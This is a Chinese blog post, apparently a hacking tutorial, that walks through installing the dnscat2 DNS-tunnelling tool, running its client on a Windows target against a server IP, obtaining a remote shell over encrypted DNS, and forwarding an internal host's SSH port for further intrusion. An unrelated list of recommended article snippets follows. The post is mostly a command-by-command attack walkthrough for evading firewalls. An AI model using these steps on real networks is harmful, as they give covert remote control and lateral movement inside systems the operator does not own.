百度360必应搜狗淘宝本站头条
tomcat 乱码无法与服务器建立安全连接是什么意思sysv-rc-confdocker映射容器目录到宿主机internet explorer 增强的安全配置已启用
当前位置：网站首页 > 技术文章 > 正文

黑客手把手教你如何利用dbs绕过防火墙

nanshan 2025-03-19 00:37 10 浏览 0 评论

最近我好久没写文章了，手痒了，于是乎我就写写文章！

废话不多说，就开始了！！

测试环境

ubuntu 14.04 root用户

windows7 x64 user用户

0x01环境准备

apt-get update

apt-get -y install ruby-dev git make g++

gem install bundler

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

#修改Gemfile source 'https://ruby.taobao.org/'

bundle install

或者通过docker安装

apt-get install docker.io

service docker status

service docker start

cd ~/dnscat2/server

#修改Gemfile source 'https://ruby.taobao.org/'

docker build .

安装完成之后，可能在docker images 看到这个镜像没有名字，我们修改一下 docker tag IMAGEID mpercival/dnscat2

0x02利用过程

server端

cd dnscat2/server

ruby ./dnscat2.rb

#docker用户 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb



可以通过两种方式设置C&C地址，如果没有域名的话，直接在外网VPS运行ruby ./dnscat2.rb 有域名的童鞋，先设置好NS服务器将NS记录修改为当前的机器。然后通过ruby ./dnscat2.rb yourdomain 我这里使用的IP地址

client端

将dnscat2文件夹下面的client编译好成exe，然后上传到client端

dnscat2.exe --dns=server=server端ip --secret=
c2c6d04cab68ee2947d80316858da0f8


由于在新版本的dnscat2是加密的所以我们在客户端执行的时候要加上秘钥，不然无法正确的建立连接

获取shell

session -i 1 #切换到session 1

help #通过help可以看到支持的命令

shell #执行之后会新生成一个session 需要通过session -i 2 切过去

这样就成功获取了一个shell，我们可以通过数据包看一下

数据都是通过DNS发出去的，并且是加密过的，因为在最初的dnscat2的版本中，数据只是简单的hex编码。到最新版的默认就已经加密

通过Salsa20加密算法进行了加密，如果不知道秘钥，就几乎不能解密数据包了。除了普通的反弹shell和上传下载文件功能，还有一个比较有用的功能

可以通过dnscat2实现DNS隧道，然后进行内网渗透。在成功获取一个session之后执行

session -i id

listen 4444 10.211.55.19:22 #将内网10.211.55.19的22端口转发到本地的4444

然后直接ssh本地的ip的4444端口

注意的是我用的docker环境，所以是直接ssh的docker的ip

上述内容不知道大家学习到了吗？网络世界的安全漏洞每天都会出现，安全知识和安全意识每个公民都应该了解和学习，有想学习网络安全技能的小伙伴可以随时私信我哦！

相关推荐

小白初学linux之无法修改系统分辨率

/*此文是做为自己的一个总结还有就是最好也可以给大家提供一些帮助。*/时间：2020年7月14日11:28:41我安装的是Ubuntu20.04LTS，昨天处理的是，grub的引导问题，因为是...

Ubuntu 如何启动、停止或重启服务

在本文中，我们向您介绍在Ubuntu中启动、停止和重启服务的方法。列出Ubuntu中的所有服务在开始之前，先获取计算机上所有服务的列表，因为我们需要知道服务名称来管理服务。service--...

Win11学院:如何在Windows 11上使用WSL安装Ubuntu

IT之家2月18日消息，科技媒体pureinfotech昨日（2月17日）发布博文，介绍了3中简便的方法，让你轻松在Windows11系统中，使用WindowsSubs...

Linux安装中文输入法-Google拼音输入法，搜狗输入法

主要步骤，选择适合自己的尝试：1)卸载之前没装好的搜狗输入法。@:~/Downloads$sudoapt-getremovefcitx*删除依赖库@:~/Downloads$sudoap...

Ubuntu 22.04 请谨慎使用搜狗输入法，可能是你当机原因

在Ubunutu下没有什么有名的输入法，也就听说搜狗输入法有Linux版本，所以特意到官网去找了下载。在Ubuntu新版本里,他仍然用的是fcitx框架的输入引擎，而不是默认的ibus，所以要先把i...

前钢后胶!徐工XMR403VT小型压路机有点意思

【第一工程机械网原创】在越来越注重施工品质，对项目管理越来越精细化的今天，施工方在施工设备选择上，也越来越讲究设备的配套分工，因此小型压路机的应用场景也越来越多。徐工XMR403VT小型压路机高度集...

图大明白 | 404错误为什么是Not Found?为什么是404?

“404错误”大家都不陌生吧？常规来讲它长这样或者长这样艺术一点的长这样404NotFound意思就是所请求的页面不存在或者已被删除被称为“互联网最后一个界面”有很多同学发出疑问：为什么是404？...

Nginx负载均衡安全配置说明2（nginx负载均衡部署）

上一节，我们对Nginx安全配置的几个知识点做了一个说明，例如限制IP访问、文件目录禁止访问限制、需要防止DOS攻击、请求方法的限制和限制文件上传的大小这个进行了一个分析说明，详细的文章请关注我的头条...

惊艳写真系列第403期，本期主人公—叶青

惊艳写真系列第403期，本期主人公—叶青制作不易，欢迎各位看官提供宝贵意见。如果您喜欢记得关注，么么哒。您的每一份点赞和关注都是对作者的最大认可（图片素材均来源于网络，如有侵权联系删除。）本篇是写惊艳...

先秦布币之尖足布、圆足布、方足布，今年圆足最高拍卖价16万一枚

在战国魏、韩地区诞生桥足平首布、锐角平首布之后，赵也诞生了尖足平首布，并且在尖足布的基础上，后来相继派生出了圆足布、三孔布，以及类圆足布和类方足布。一尖足布尖足布是从耸肩尖足空首布演变而来的，是黄河...

403 禁止访问错误的全面排查与解决方案

当遇到403Forbidden错误时，意味着服务器已接收并理解请求，但拒绝执行访问操作。以下从用户端、服务器端等多个维度，提供分步排查与解决方法。一、用户端基础排查1.检查URL准确性确认...

这才是2019年夏最高颜值的泳装（2019夏季泳装秀）

最近的天气是越来越热了，又到了暑期泳衣勇闯海滩的时刻了，打开ins，微博满满地都是各大博主晒的泳装照，明星们也纷纷跑到海边去度假了。虽然我们没有超模般地身材，但是到了海边我们也要成为人群中最亮眼的那颗...

朋友圈爆火!这组《衡中班主任的一天》漫画，感动了无数人!

很多人觉得做老师很轻松他们说有些老师一天一节课就下班了有双休，还有寒暑假，真让人羡慕呀······但事实真是这样吗？最近衡水中学的赵心扬同学画了一组漫画形象地还原了衡中班主任一天的生活那么衡中班主任一...

国家安全教育 | 一组漫画，带你走进国家安全!

当前，我国面临哪些安全威胁？下面带你来看一组漫画！①你要配合，注意保密。我绝不对别人讲。②这件事，千万别对别人讲。③咱单位的…喂！老k！你要当心，有风声了！④你的泄密行为已触犯了国家法律！①请你协助了...

400、403、404、405，访问网页时出现这些代码是什么意思?

今天小泽访问一个页面时，出现了403，很抱歉，您的访问请求被禁止的提示。相信经常用电脑访问网页的朋友都遇到过这种情况，有的网页提示错误代码403，有的提示404，那这些代码都代表了什么呢？有什么含义呢...

取消回复欢迎 你 发表评论:

一周热门
最近发表
标签列表